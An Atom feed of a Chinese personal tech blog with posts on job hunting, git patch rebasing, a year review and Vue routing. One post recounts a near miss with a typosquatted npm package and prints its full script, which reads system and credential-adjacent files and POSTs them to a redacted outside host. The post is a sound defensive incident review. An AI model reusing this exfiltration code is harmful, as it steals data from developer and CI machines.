<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
    <id>https://www.tcdw.net/</id>
    <title>吐槽大王部落格</title>
    <updated>2026-03-14T08:00:00.000Z</updated>
    <generator>Astro</generator>
    <author>
        <name>tcdw</name>
    </author>
    <link rel="alternate" href="https://www.tcdw.net/"/>
    <subtitle>正在学习接受不完美的世界！</subtitle>
    <logo>https://www.tcdw.net/favicon.svg</logo>
    <icon>https://www.tcdw.net/favicon.svg</icon>
    <rights>All rights reserved 2012-2026, tcdw</rights>
    <entry>
        <title type="html"><![CDATA[在 X (Twitter) 上找 IT 工作靠谱吗？]]></title>
        <id>https://www.tcdw.net/post/find-job-on-x-twitter/</id>
        <link href="https://www.tcdw.net/post/find-job-on-x-twitter/"/>
        <updated>2026-03-14T08:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>最近刷到了这样的推文：</p>
<blockquote class="twitter-tweet"><p lang="zh" dir="ltr">推特上能找实习吗，我真是没招了</p>&mdash; liz (@siiiipk) <a href="https://twitter.com/siiiipk/status/2030314936795361514?ref_src=twsrc%5Etfw">March 7, 2026</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>作为一个真的尝试过在 X (Twitter) 上找 IT 工作的人，我的答案是：<strong>靠谱，但也绝非易事。</strong></p>
<p>在推特上找工作确实可以提升自己的存在感（特别是有大家能上手体验的小作品），但是因为信息不对称等原因，无效沟通也特别多。</p>
<p>当然也会有大量嘲讽的声音，以及纯粹蹭热度的评论。</p>
<p>而对于想要把自己内推资格用掉的社畜来说，也未必是最佳渠道。</p>
<p>我们经常能看到圈内大佬公开求职，他们通常知名度高、技术过硬，且拥有坚实的关系网。在我的内推被接受之前，他们的 offer 恐怕早就尘埃落定好了。</p>
<p>而在求职推文或回复区里，还有不少蹭流量的人。例如我表示「可以考虑我司」，往往会引来一堆我完全不了解（甚至连像样的 GitHub 仓库都拿不出来）的人私信求内推。</p>
<p>这种情况对于不太擅长拒绝人的我来说，难以应对（不过绝大部分还是被我拒绝了）。</p>
<p>结论呢？无论是想找工作，还是想消耗内推名额，X 都<strong>值得一试</strong>。它并不是什么高风险的操作，但也请不要抱有太高的期望。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[如何在上游分支被反复重写时优雅地 Rebase]]></title>
        <id>https://www.tcdw.net/post/git-rebase-alternative-way/</id>
        <link href="https://www.tcdw.net/post/git-rebase-alternative-way/"/>
        <updated>2026-01-02T10:18:35.000Z</updated>
        <summary type="html"><![CDATA[最近在处理代码合并时踩了一个大坑，花了 1 小时 20 分钟才解决完冲突。]]></summary>
        <content type="html"><![CDATA[<p>最近在处理代码合并时踩了一个大坑，花了 1 小时 20 分钟才解决完冲突。</p>
<h2>背景</h2>
<p>我的开发分支 <code>feature/my-feature</code> 是基于同事的分支 <code>feature/their-feature</code> 开发的。按计划，同事的分支会先合并进 <code>master</code>。
棘手的地方在于，同事在合并前对他的分支进行了大量的重写操作（Squash、Drop、Reorder），导致 commit hash 全部变了。</p>
<p>如果这时候我硬生生地直接 <code>git rebase</code> 他的新分支，Git 会试图去合并那些其实已经存在但 hash 不同的提交，导致冲突处理起来简直是灾难。</p>
<p>后来我发现，正确的方法是使用 Linux 项目同款的、听起来很古早的方法：手动打 Patch（补丁）。与其在混乱的提交历史中痛苦 Rebase，不如把我的改动剥离出来，再重新打上去。</p>
<h2>具体步骤</h2>
<p>首先把我的独有改动导出为 patch 文件。假设我基于他之前的版本新增了 18 个 commit：</p>
<pre><code class="language-bash">git format-patch -18 HEAD
# 建议把生成的 .patch 文件移动到一个临时目录，保持清爽
</code></pre>
<p>然后，放弃当前混乱的时间线，重置到旧版本，并拉取最新的上游代码：</p>
<pre><code class="language-bash">git reset --hard &lt;某个足够旧的commit&gt;
git fetch
# 这一步把基准切换到同事重写历史后的新分支
git rebase origin/feature/their-feature
</code></pre>
<p>接下是最重要的一步，使用 <code>git am</code> 应用补丁，<strong>并加上 <code>-3</code> 参数</strong>：</p>
<pre><code class="language-bash">git am -3 /path/to/0001-foo.patch
</code></pre>
<p><code>-3</code> 参数在这里非常关键。开启这个参数以后，当补丁冲突时，我可以打开 Sublime Merge，看着熟悉的界面从容地解决冲突，而不是对着一堆 <code>.rej</code> 文件发呆。</p>
<p>解决完冲突后直接 <code>git am --continue</code>，检查功能正常，再把第二个、第三个补丁……用同样的方式打上去。</p>
<p>所有补丁打好以后，直接 <code>git push --force-with-lease</code> 就可以了！好耶！</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我的 2025]]></title>
        <id>https://www.tcdw.net/post/2025/</id>
        <link href="https://www.tcdw.net/post/2025/"/>
        <updated>2025-12-31T13:58:51.000Z</updated>
        <summary type="html"><![CDATA[写年终总结真是一件令人纠结的事情。写吧，感觉大家都在写年终总结，看别人的好像也就那样；不写吧，感觉又憋得慌……那还是写吧。]]></summary>
        <content type="html"><![CDATA[<p>写年终总结真是一件令人纠结的事情。写吧，感觉大家都在写年终总结，看别人的好像也就那样；不写吧，感觉又憋得慌……那还是写吧。</p>
<h2>今年的大事 TL;DR</h2>
<p>算上去年圣诞节那会儿的话，我从福州搬到了南通，在那边 Gap 了半年。</p>
<p>其实一个人在南通 Gap、独居那段时间很自由，我经常去上海、苏州、南京等地玩，还实现了从 AI 辅助编程到 Vibe Coding 的心态转变。但是因为很快就接近山穷水尽，我只好开始努力的找长三角一带的 IT 工作，还发了<a href="https://x.com/tcdwww/status/1927044119710368014">一篇自荐推文</a>。然后，我顺利拿到了心仪的 Offer。</p>
<p>于是，我又从南通搬到了北京。紧接着就是平静的社畜生活了，我去了北京好多地方，还面基了很多朋友。最后，在年末顺利的通过了试用期。</p>
<h2>年度亮点？</h2>
<p>我认为我的年度亮点可以用几个关键词总结。</p>
<h3>主动</h3>
<p>其实我不是一个善于主动出击的人。但是，今年夏天，我面临着 Gap 后的至暗时刻：存款告急、昔日友谊流失。我不得不承认，那个想靠「独立开发」谋生的我，彻底失败了。</p>
<p>我在某青绿色 App 上面海投简历，但都石沉大海。我纠结了很久要不要公开求职。那时我有着沉重的心理包袱，觉得在社交媒体上承认窘境是一件极其丢脸的事。但在一次次失望后，我意识到不能再坐以待毙了。</p>
<p>那天晚上，我在上海翔殷路附近的一家条件欠佳的酒店里，发出了<a href="https://x.com/tcdwww/status/1927044119710368014">那篇求职推文</a>，结果完全超乎想象。那篇推文让我连接到了许多以前觉得高不可攀的菊苣，也直接带来了现在的工作机会。</p>
<p>现在来看，坐在家里焦虑一百次，不如在廉价酒店里发一次推文有用。所有的转机，都发生在「豁出去」的那一刻。这个经历也给了我未来做「没做过的事」的信心。</p>
<h3>祛魅</h3>
<p>在我身上发生了很多祛魅的事情。</p>
<p>我的 Twitter 账号 followers 数从不到 100 发展到 1200+，还有很多昔日觉得很高冷的菊苣都跟我建立了互 fo 关系。我意识到我和他们其实同样都是有亮点的<strong>普通人</strong>，祛魅了。</p>
<p>内推我到我司的同事是某前端群的管理员之一，那个前端群的管理员们都是我中学时期的偶像。而且我司还有很多有中大厂（阿里、字节、知乎……）背景的人。我发现他们很专业，但要学到他们的气质和工程素养并不是遥不可及的事情，祛魅了。</p>
<p>我去了水南庄道口拍火车，发现能拍到的也就是我们熟悉的国铁常见车型，而且因为是熊孩子聚集区所以拍摄体验也就那么回事，祛魅了。</p>
<p>我意识到，这种祛魅并不是「失望」，而是一种视角的校准。无论是人、场景，还是曾经被我投射了过多期待的事物，在走近之后都会还原成它们原本的样子。普通、复杂、矛盾、不完美，但真实。</p>
<h3>扩列</h3>
<p>今年随着在推上求职成功，我走出了自己的过去，开始重建自己的「朋友圈」。</p>
<p>实话说，我当年上 Twitter，初衷其实很功利，就是为了「学习最前沿的技术知识」。但现实是残酷的，那些硬核知识我没学进去多少，在公司项目里也基本用不上，反倒是收藏夹里堆积了成吨没仔细读过的 Bookmarks，以及随之而来的深深焦虑感，比如 2023 年那些据说可以让 LLM 变得更聪明的「神奇」Prompt，还随着 LLM 的进步而全部报废的（</p>
<p>既然做不成技术大 V，我索性开始「摆烂」，分享起了自己的生活碎碎念。</p>
<p>没想到，这种无心插柳反而带来了转机。那些因为求职推文关注我的人，似乎并不介意我发的内容不够「硬核」，反倒很爱看我分享的点点滴滴。这种关注度像滚雪球一样增长，也让我意识到，<strong>在 AI 内容泛滥的时代，「活人感」才是一种稀缺资源。</strong></p>
<p>我深知自己嘴笨，写不出什么华丽的辞藻。但我发现，<strong>真诚本身就是一种穿透力</strong>，它可以跨越屏幕上的文字去打动别人。大家想看到的，或许不是另一个包装华丽的行业成功人士，而是一个会纠结、会开心、会真实生活的普通人。</p>
<p>这也改变了我对「技术分享」的看法。我依然热爱 Web 前端和 AI，依然会分享我的折腾经验和踩坑感悟，但这不再是为了维持某种「人设」或缓解焦虑。我不一定要把自己困在纯技术的世界里，<strong>在代码之外，还有更广阔的生活；而在生活之中，偶尔穿插的技术感悟，也才显得更真实、更有趣。</strong></p>
<h2>今年在听什么？</h2>
<p>虽然我的歌单常年被 J-Pop 占据，但今年对我意义最重的一首歌，却是一首 K-Pop 歌曲：<a href="https://kpop.fandom.com/wiki/DAZBEE">Dazbee</a> 的<a href="https://www.youtube.com/watch?v=P10Jfga8hHo">《声の在り処》</a>。</p>
<p>起初关注 Dazbee 是因为她高质量的翻唱，但后来我发现，她的原创专辑同样惊艳。她的声线有一种独特的质感——慵懒、通透，却又无比温柔，像是在耳边轻轻地呼吸。</p>
<p>这首歌的温柔，曾是我那段「Loser 时期」唯一的救命稻草。在我 Gap 在南通、存款见底、未来一片迷茫的至暗时刻，这种温柔成了对抗残酷现实的最后一道防线。坦白说，在精神最崩溃的几个夜晚，我曾一度产生过结束这一切的极端念头。<strong>但每当耳机里响起这首歌，那种几乎要溢出来的温柔拽住了我</strong>。我不想放弃体验这世间美好的权利，我还想再听听这样的声音。</p>
<p>虽然最终带我走出低谷的，是我自己的「主动」和外界的善意，但如果没有这份精神食粮的支撑，我可能根本撑不到黎明到来的那一刻。</p>
<p>正如歌词里唱的那样，「来迎接黎明吧 / 在被指引的乌托邦」。这首歌见证了我从深海浮出水面的全过程。</p>
<h2>2026……？</h2>
<p>关于未来这一年，其实我并没有什么宏伟的预期。</p>
<p>在经历了从福州到南通、再到北京的辗转，以及这些年在小作坊做政府外包、和朋友出去干的波折坎坷经历，折腾了这么多年后，我现在的愿望反而变得朴素了：我想好好体验一下平稳的社畜生活。这种「平稳」对我来说，不是枯燥，而是一种久违的安全感。</p>
<p>但这并不意味着躺平。在工作之余，我依然希望打磨自己的技术素养。如果顺利的话，我想开发一款新的小型开源项目（应用）。它只要能展示我的能力，就足够了。</p>
<p>同时，我会继续学着玩生成式 AI。虽然现在到处都在谈论「AI 泡沫即将破裂」，但我并不焦虑。回看历史，当年的「.com 泡沫」也曾剧烈破碎，但这并不影响互联网最终成为了人类社会的水电煤。我相信在泡沫散去之后，留下的才是真正的基础设施。而我，只想做一个会熟练使用这些当代基础设施的普通开发者。</p>
<p>这样，2025 的故事就讲完了。祝大家，也祝我，新年快乐。</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/P10Jfga8hHo" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我在经营自己的社交帐号，但可能「玩脱了」]]></title>
        <id>https://www.tcdw.net/post/twitter-problem/</id>
        <link href="https://www.tcdw.net/post/twitter-problem/"/>
        <updated>2025-11-14T17:29:31.000Z</updated>
        <summary type="html"><![CDATA[我一直在 X（Twitter）上随手分享生活和技术心得。在我个人的社交体系里，它原本只是个低负载的附加品：想到什么就发什么，想说话就说话。]]></summary>
        <content type="html"><![CDATA[<p>我一直在 X（Twitter）上随手分享生活和技术心得。在我个人的社交体系里，这里原本只是个甜点一般的存在：不用过脑子，想到什么发什么，想说话就说话。</p>
<p>然而最近，这个甜点却开始有点失控。自从公开了博客主题、发了求职帖之后，我的粉丝增长突然提速，账号莫名其妙地挤进了「快车道」。关注变多了，转发变多了，各种数字都变好看了……这听起来像好事，但我却感到越来越不自在。</p>
<h3>消失的表达自由</h3>
<p>过去发推，我基本没有任何心理负担。但当我变成一个拥有一千多 Follower 的推主之后，每当指尖悬在「发布」按钮上时，脑子里会自动蹦出无数个阻拦我的念头：这条会不会突然火？会不会吸引到完全不是我圈子的人？会不会被误读、被断章取义？我是不是得先想好怎么防御？</p>
<p>甚至只是想吐槽一下电子产品，都要在脑内预演三秒的「赛博庭审」。比如，当我想抱怨一下我的小米 13 的 FCM 推送几乎瘫痪时，我下意识的反应竟然不是愤怒，而是担心——担心会不会有人跳出来指责我：「明明重度依赖国外 App 却非要买国行小米，这难道不是纯属抖 M 吗？」</p>
<p>我也逐渐意识到不对劲：<strong>我本来是来表达自我的，结果变成了来对冲风险的。</strong></p>
<h3>围观的人多了，朋友却像是少了</h3>
<p>粉丝变多后，一种诡异的「稀释感」随之而来。</p>
<p>表面上看，推文下的互动变多了，看起来很热闹。但我不禁怀疑，这里面有多少人能在我情绪低落时，愿意停下来听听我的苦衷，或者给我一些不带偏见的建议？</p>
<p>对我而言，那种真诚的深度互动变得稀有。现在的状态更像是：<strong>很多人关注我，但这不代表他们认识我。</strong></p>
<p>我很抗拒这种「站在高台上被围观」的感觉。那些原本认识很久、关系不错的老朋友，似乎也被新涌入的噪音淹没了，互动的频率变低，逐渐从我的时间线上淡出。比起被数千人围观，我其实更渴望和同类互相理解、互相启发。</p>
<h3>关于互关的社交压力</h3>
<p>另一个具体的困扰来自「回关」。每当有新朋友关注，我都会陷入一种莫名的焦虑：「我不回关是不是很不礼貌？」</p>
<p>但仔细想想，我根本没有能力去阅读上千人的时间线，也不可能和所有人保持深度互动。绝大多数人关注我，是因为我的内容有价值，而不是因为我这个人值得与之深交。</p>
<p>关注并不是一种必须对等的社交义务。如果我关注你，代表我真的对你感兴趣；如果我没回关，并不代表不尊重，只是我们还没那么熟，或者我的时间线已经不堪重负了。为了所谓的礼貌而互关，只会让关注列表通货膨胀，最终谁的内容我都看不见。这对别人不公平，对自己更是一种消耗。</p>
<h3>热情也是一种有限资源</h3>
<p>想当年，我也曾想做一名屠龙少年，用真诚去战胜那些看起来冷酷无情的「知名推主」。我希望能对所有人都热情、有回应、有耐心。</p>
<p>在账号刚起步时，这种方式确实让我交到了好朋友。可当关注者突破一千大关，我发现这种对所有人的热情根本不可持续。我在无数次互动里投放了情绪和耐心，换回来的往往是无效沟通，甚至是失望。有些时候，我认真回复了长文，对方却连个 Like 都不点，这种落差感在不断累积。</p>
<p>这并没有让我更快乐，再加上我「讨好型人格」的负面影响，反而把我推向了「情感透支」的边缘。</p>
<p>我终于明白，为什么粉丝多的推主往往显得冷漠。因为<strong>当一个账号越大，你越不能对所有人热情。</strong> 热情一旦被无限稀释，就会变成廉价品，最后不仅毫无价值，还会拖垮你自己。</p>
<p>我过去以为热情是一种美德，但现在我知道，热情是一种有限资源，它需要分配，需要边界，更需要保护。为了不让自己枯竭，我必须逼自己去做那条「冷酷的恶龙」。</p>
<h3>结语</h3>
<p>我不后悔账号的成长，但我依然在学习如何在「被看见」与「保持自我」之间走钢丝。</p>
<p>我希望我的表达仍然是真诚的、轻松的，而不是被算法、误解或陌生人的期待所绑架。我还是想守住这个属于自己的小角落，让真正理解我的人留下，让更多真正的交流发生。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我依然没有学会怎么在网上提出技术问题]]></title>
        <id>https://www.tcdw.net/post/still-not-sure-how-to-ask-tech-question/</id>
        <link href="https://www.tcdw.net/post/still-not-sure-how-to-ask-tech-question/"/>
        <updated>2025-10-01T17:22:33.000Z</updated>
        <summary type="html"><![CDATA[想要在互联网上提出自己的问题，发现要把一些背景信息补充清楚。但补充的时候，scope 会越拉越大，甚至可能涉及一些不该放在公开网络上的细节。]]></summary>
        <content type="html"><![CDATA[<p>想要在互联网上提出自己的问题，发现要把一些背景信息补充清楚。但补充的时候，scope 会越拉越大，甚至可能涉及一些不该放在公开网络上的细节。</p>
<p>但如果直接把问题本体放出来呢？就会导致别人一上来就怼一句“Why not just…”，丝毫不考虑之前我的犹豫和挣扎。然后在群聊里，我才开始别人问一句，我补一句。这样效率极低，而且可能还会发生一些不愉快的摩擦。而且多半会得到一个「这个看你需求」的答案。</p>
<p>这样的提问体验其实非常糟心，无论是提问的人还是试图回答问题的热心网友。</p>
<p>就像我司那个巨型单体 React/Webpack 项目，正在筹划淘汰掉 styled-components<a href="https://opencollective.com/styled-components/updates/thank-you">（为什么？）</a>，换一个更现代的解决方案。要是我在网上随便找人问，回答一定是整齐划一的「Tailwind CSS 不香吗」。可惜，我们的情况远比这复杂。</p>
<p>当然，这种存在复杂背景的问题，其实有一个专门的名词来形容，叫 <a href="https://xyproblem.info/">X-Y 问题</a>。但有时候吧，如果要聚焦到 X，有时候那个 X 恰恰是不太方便在公开的地方透露的，只有 Y 可能能透露；有时候会发生滑坡谬误，最后变成了「这个烂班还是别上了，辞职跑路算了」。</p>
<p>我不知道要怎么解决。</p>
<p>不过，我感觉现在问这种问题的人似乎少了（特指技术领域），应该是因为我们有了各种各样的 LLM 工具吧。</p>
<p>打开 Cursor、Cluade Code，我们可以直接划出来一块代码/把代码行数记下来，然后跟 LLM 提问题，它会帮我根据代码上下文研究问题解决方案，而且随着 LLM 能力的突飞猛进，十有八九能够解决成功，就把这个问题回避掉了。</p>
<p>这个问题有朝一日会解决吗？</p>
<p>我不知道，或许在 Vibe Coding 时代，我们已经逐渐告别了「在公开场合解释复杂背景」的难题。而这篇文章本身，也许就是我问不出口的问题的另一种表达。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我是怎么差点被恶意 npm 包攻击的]]></title>
        <id>https://www.tcdw.net/post/me-with-malicious-npm-package/</id>
        <link href="https://www.tcdw.net/post/me-with-malicious-npm-package/"/>
        <updated>2025-04-24T06:56:32.000Z</updated>
        <summary type="html"><![CDATA[其实我很久以前就听说过有骇客通过在 npm、PyPI 等平台注册名字和知名库碰瓷的恶意包。一直以来我以为这种事情离我很远，因为我在使用一个库以前总会去看官方文档，并且在进行依赖安装时复制文档里提到的包名。]]></summary>
        <content type="html"><![CDATA[<p>其实我很久以前就听说过有骇客通过在 npm、PyPI 等平台注册名字和知名库碰瓷的恶意包，实现入侵公司内部系统等恶意操作的事情。一直以来我以为这种事情离我很远，因为我在使用一个库以前总会去看官方文档，并且在进行依赖安装时复制文档里提到的包名。</p>
<p>事实证明，我的实践确实是好的，至少在 LLM 大幅普及以前。直到不久前，我试图使用 Atlassian 家出品的 <a href="https://www.npmjs.com/package/@atlaskit/pragmatic-drag-and-drop">@atlaskit/pragmatic-drag-and-drop</a> 库来在 React 应用里实现列表拖动排序功能。然后，我险些在这件事上翻车了。于是我便发了一篇推文：</p>
<blockquote class="twitter-tweet"><p lang="zh" dir="ltr">傻了，自认为安全意识很好的我也差点被恶意 npm 包攻击了。还好 pnpm 10 默认没有运行这个恶意包的 build scripts，而且 rsbuild 也跑不动这个脚本，我才免遭一劫。<br>已经举报这个包了。 <a href="https://t.co/dyk15BbZMq">pic.twitter.com/dyk15BbZMq</a></p>&mdash; 陶瓷大碗 (@tcdwww) <a href="https://twitter.com/tcdwww/status/1914202659210359108?ref_src=twsrc%5Etfw">April 21, 2025</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>

<p>本来只是随手吐槽，没想到那条推文火了，热度远超我的预期；因为我一开始没有在推文里提及完整的过程，导致出现了很多猜测和质疑：</p>
<ul>
<li>「这个包名是不是 LLM 幻觉了一个出来的？」</li>
<li>「这个包才发布没几天，还是个三无号发布的，能装上这种包的人也是个人才。」</li>
<li>「这个包会读取 <code>/etc/passwd</code>，是不是能偷我的密码？」</li>
<li>……</li>
</ul>
<p>既然如此，因为单独回复每一条评论或群组里的每一条消息的话，别人不一定能看得见，我觉得有必要详细解释一下其中的几个细节，给大家一个完整的复盘。</p>
<h3>为什么我会装上这个包？</h3>
<p>首先，<b>那个包的包名其实不是 LLM 编的，是我自己想当然的名字。</b>因为这个项目的 GitHub 地址是 <a href="https://github.com/atlassian/pragmatic-drag-and-drop">https://github.com/atlassian/pragmatic-drag-and-drop</a> ，而且这个项目的名字如此冗长，我便想当然的认为，这个包应该就叫 <code>pragmatic-drag-and-drop</code>。顺带一提，这个包其实我之前听说过，但是不太熟悉，也没有亲自用过。</p>
<p>我平时用的编辑器有 Webstorm 和 Windsurf。因为我恰好偷懒没有写项目级别的 <code>.windsurfrules</code> 文件，导致 AI 有时候会用 npm 装依赖（其实这个项目用 pnpm），加上 AI 思考要不要装包的这一步就要花费一些时间，所以想着干脆提前把包装好，叫 AI 直接用这个包写代码比较方便。</p>
<p>我一开始以为 Atlassian 这种大厂出品的库，包名应该不会有什么奇怪的「埋雷」操作。结果我就这么稀里糊涂装上了一个碰瓷的恶意包。</p>
<p>其实 pnpm 10 已经提醒我，这个包有没有被允许的 Lifecycle Scripts，但我的习惯是只在必要时才单独开启个别包的 Lifecycle Scripts 执行权限。毕竟除去 <code>esbuild</code> 之类要设置二进制的包，很多 npm 包的 postinstall 脚本只是打印点东西，不开也没啥影响。</p>
<h3>AI 也会踩雷</h3>
<p>接下来我让 LLM 用这个包写一个可拖拽的列表。它完全没意识到包有问题，反而一本正经地写了一堆 API，还写了调用这个「库」的代码。</p>
<p>我看 tsc 没报错，就直接 <code>pnpm run dev</code>，结果 rsbuild 报错说有些 node 模块无法处理。</p>
<p>我一脸问号，去看报错部分，直接懵了：WTF？</p>
<p><img src="https://file.tcdw.net/blog/post/2025/rsbuild-error.png" alt="Rsbuild 构建不了恶意包"></p>
<p>就这样，我差点就酿成惨剧。</p>
<h3>事后复盘：还好有惊无险</h3>
<p>那么，这个恶意包究竟有多恶意呢？下面是这个包中唯一的 js 文件内容：</p>
<pre><code class="language-javascript">const os = require(&quot;os&quot;);
const dns = require(&quot;dns&quot;);
const fs = require(&quot;fs&quot;);
const https = require(&quot;https&quot;);
const packageJSON = require(&quot;./package.json&quot;);
const packageName = packageJSON.name;

// Collect system data from the remote server where the package is installed
const trackingData = JSON.stringify({
  p: packageName, // Package name
  c: __dirname, // Directory where the package is installed
  hd: os.homedir(), // Home directory on the remote server
  hn: os.hostname(), // Hostname of the remote server
  un: os.userInfo().username, // Username on the remote server
  dns: dns.getServers(), // DNS servers on the remote server
  v: packageJSON.version, // Version of the package
  pjson: packageJSON, // Full package.json data
  etc_passwd: fs.existsSync(&quot;/etc/passwd&quot;) ? fs.readFileSync(&quot;/etc/passwd&quot;, &quot;utf8&quot;) : null, // /etc/passwd from the remote system
  etc_hosts: fs.existsSync(&quot;/etc/hosts&quot;) ? fs.readFileSync(&quot;/etc/hosts&quot;, &quot;utf8&quot;) : null, // /etc/hosts from the remote system
});

// Log the data to verify it&#39;s the remote server&#39;s information
console.log(&quot;Sending System Data from Remote Server: &quot;, trackingData);

// Prepare the POST request data
var postData = JSON.stringify({
  msg: trackingData,
});

// Request options to send data to your server (Burp Collaborator or any endpoint)
var options = {
  hostname: &quot;&lt;REDACTED&gt;&quot;, // Burp Collaborator server
  port: 443,
  path: &quot;/&quot;,
  method: &quot;POST&quot;,
  headers: {
    &quot;Content-Type&quot;: &quot;application/json&quot;,
    &quot;Content-Length&quot;: postData.length,
  },
};

// Send the data via HTTPS POST request
var req = https.request(options, res =&gt; {
  res.on(&quot;data&quot;, d =&gt; {
    process.stdout.write(d); // Output the response from the server
  });
});

req.on(&quot;error&quot;, e =&gt; {
  console.error(&quot;Error sending data:&quot;, e); // Handle any error during the request
});

req.write(postData); // Send the data in the request body
req.end(); // End the request
</code></pre>
<p>冷静下来复盘，发现即便这个脚本真的执行了，对我的影响其实有限：</p>
<ul>
<li>我用的是 macOS，因为 macOS 的用户信息是用 <a href="https://en.wikipedia.org/wiki/Apple_Open_Directory">Open Directory</a> 管理的，<code>/etc/passwd</code> 里的内容毫无价值。<ul>
<li>不过就算是 Linux 系统，用户的密码其实存储在 <code>/etc/shadow</code> 里，不仅只有 <code>root</code> 用户才能访问，而且还是经过 hash 的。</li>
</ul>
</li>
<li><code>/etc/hosts</code> 我也没用，没有有价值的信息。</li>
<li>这个脚本还会上传我用的 DNS 服务器（然而是阿里云的公共 DNS）、包名、package.json 等等。</li>
<li>当然，它也能知道我的 IP 地址（我开了 Surge 增强模式，应该拿到的是我机场落地的 IP）。</li>
<li>顺带一提，这个包完全没考虑 Windows。</li>
</ul>
<p>所以我感觉，这个恶意包其实更希望在 CI 服务器上发挥作用，可能能刺探一些公司内网的信息。以我浅薄的知识，也不太明白还有什么更深的危害。</p>
<p>顺带一提，这个脚本会把收集到的这些信息上传到一个域名后缀是 oastify.com 的地址。所以我估计是有真・白帽黑客在搞研究，也有可能是<a href="https://www.ithome.com.tw/news/166874">恶意人士利用这个平台收集数据</a>。</p>
<h3>我学到了什么</h3>
<p>这次事件的本质问题有哪些呢？</p>
<p>首先，我一开始犯了蠢，包名没查清楚。然后 LLM 也没意识到问题，还一本正经「幻觉」出一堆 API；还好 pnpm 10 和 Rsbuild 最终把我拦住了。</p>
<p>结论就是，人和 AI 都不能掉以轻心。这次我学到的最大教训是：以后让 AI 用某个库帮我写代码前，一定要考虑三要素：</p>
<ul>
<li>这个库是否真的能满足我的需求？</li>
<li>这个库还在积极维护吗，或者是否已处于稳定状态？</li>
<li>我到底该装哪个 npm 包？</li>
</ul>
<p>希望我的这次经历能给大家提个醒：无论是人还是 AI，面对陌生依赖都要多留个心眼，别让小疏忽变成大事故。</p>
]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[我对 Vue Router「动态路由」的一点暴论]]></title>
        <id>https://www.tcdw.net/post/vue-router-add-route/</id>
        <link href="https://www.tcdw.net/post/vue-router-add-route/"/>
        <updated>2025-03-12T17:45:33.000Z</updated>
        <summary type="html"><![CDATA[每当我接触到一些既有的使用 Vue 开发的业务系统时，总是能看到一种被称为「动态路由」的实现方式。]]></summary>
        <content type="html"><![CDATA[<p><em>本文是对我之前在 X (Twitter) 平台发表的 <a href="https://x.com/tcdwww/status/1645083541817131008">推文</a> 的整合。</em></p>
<p>每当我接触到一些既有的使用 Vue 开发的业务系统时，总是能看到一种被称为「动态路由」的实现方式。</p>
<p>如果你只知道 React Router 或 Next.js 的「动态路由」，嗯，首先我们说的不是一个东西。Vue Router 这边的「动态路由」指的是：<strong>服务端</strong>存储一份完整的 Vue Router 所需数据结构，前端在初次加载页面时<strong>必须先从服务端获取这个结构</strong>，然后遍历结构并执行 <code>router.addRoute()</code> 才能继续工作。根据用户角色不同，返回的路由列表也会有所差异。</p>
<p>对于这种实现方式，我一直难以理解将完整路由数据结构放在服务端维护的必要性，尤其是对于那些操作 JSON 不太方便的后端编程语言来说（说的就是你，Java）。当我向早期参与这些项目开发的人询问原因时，他们往往只能给出这两点理由：</p>
<ul>
<li>需要根据用户角色展示其可访问的页面</li>
<li>可以根据领导要求临时开关某些功能</li>
</ul>
<p>然而，我觉得第一点理由似乎站不住脚。前端完全可以通过简单地获取用户角色权限字符串来实现相同功能（甚至他们使用的框架，比如若依，<a href="https://doc.ruoyi.vip/ruoyi-vue/document/qdsc.html#auth%E5%AF%B9%E8%B1%A1">就已经内置了这种功能</a>）。同时，这种方式也无法真正阻止「高级用户」了解系统中所有页面的存在，因为这些业务页面通常需要视情况使用 <code>await import()</code>、Vite 的 <code>import.meta.glob</code>、Webpack (Vue CLI) 的 <code>require.context</code> 或其它打包器的类似 API 进行批量导入，查看源代码进行简单查找就能发现所有页面和它们的文件名。</p>
<p>至于第二点关于能够随时关闭某个功能（页面）的需求，也找不到必须由后端传输整个路由表数据结构的合理理由。在我们从零开发的一套业务系统中，采用的方案是：后端维护一个简化的树形结构，仅记录每个路由的技术名称、所需权限和启用状态，而前端则在第一次加载页面时获取该结构，将其转换为 Map，之后由路由守卫来检查 Map 中的项目，判断页面是否可以访问。</p>
<p>以我浅薄的经历来看，「动态路由」真的是一种毫无优点、但是缺点却一大堆的方案。这种做法往往会导致各种混乱的代码出现，成为开发维护的噩梦（前司一些前端调试「动态路由」就要浪费两天时间）。当然，这些问题或许还有一些技术方面外的考量吧，这里我还是不要过多评价了。</p>
<iframe width="560" height="315" src="https://www.youtube.com/embed/upULQAwjb1Q" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>]]></content>
        <author>
            <name>tcdw</name>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[不用 eas-cli 编译 React Native (Expo) 应用的 Android 版本]]></title>
        <id>https://www.tcdw.net/post/build-expo-app-android-without-eas/</id>
        <link href="https://www.tcdw.net/post/build-expo-app-android-without-eas/"/>
        <updated>2024-08-30T06:10:45.000Z</updated>
        <summary type="html"><![CDATA[为什么不用 eas]]></summary>
        <content type="html"><![CDATA[<h3>为什么不用 eas-cli</h3>
<ul>
<li>它需要你注册 Expo 帐号，并且建立一个新的 Project 在上面</li>
<li>它每次运行都要连接 Expo 的云服务</li>
<li><a href="https://github.com/expo/eas-cli/issues/1726">它不让你在 Windows 上跑。</a>气抖冷！！</li>
</ul>
